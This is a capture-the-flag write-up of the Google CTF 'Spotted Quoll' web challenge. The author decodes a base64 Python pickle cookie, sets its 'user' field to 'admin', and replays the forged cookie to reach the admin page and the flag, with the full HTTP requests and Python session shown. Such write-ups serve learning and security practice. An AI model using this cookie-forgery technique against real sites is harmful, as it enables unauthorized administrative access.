Intro
I participated in the Google CTF this weekend and really enjoyed the challenges. Here is a write-up of one of my solutions.
Challenge
Spotted Quoll was a web challenge worth 50 points. The details of the challenge are in the image below.
I loaded up the blog and looked for any clues:
Solution
I started up burp and reloaded the page. I navigated to the /admin
section of the blog and received an error:
A cookie called “obsoletePickle” was being passed with my requests.
GET / HTTP/1.1
Host: spotted-quoll.ctfcompetition.com
User-Agent: foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu
Connection: close
I recognized the pickle module from my python studies.
The pickle module implements a fundamental, but powerful algorithm for serializing and de-serializing a Python object structure.
I loaded up the string in python and decoded it:
$ python
>>> import pickle
>>> import base64
>>> pickle.loads('KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu'.decode('base64'))
{'python': 'pickles', 'subtle': 'hint', 'user': None}
Interesting - it clearly shows ‘user’ with no value. Let’s modify the cookie to change the user to ‘admin’.
>>> pickle.dumps({'python': 'pickles', 'subtle': 'hint', 'user': 'admin'})
"(dp0\nS'python'\np1\nS'pickles'\np2\nsS'subtle'\np3\nS'hint'\np4\nsS'user'\np5\nS'admin'\np6\ns."
>>> p = pickle.dumps({'python': 'pickles', 'subtle': 'hint', 'user': 'admin'})
>>> msg = base64.b64encode(p)
>>> print msg
KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4=
>>> pickle.loads('KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4='.decode('base64'))
{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}””
Now instead of user being ‘None’ it is ‘admin’:
{'python': 'pickles', 'subtle': 'hint', 'user': admin}
I reloaded the /admin
page and submitted my modified cookie.
GET /admin HTTP/1.1
Host: spotted-quoll.ctfcompetition.com
User-Agent: foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: obsoletePickle=KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4=
Connection: close
Success! The flag is “CTF{but_wait,theres_more.if_you_call}”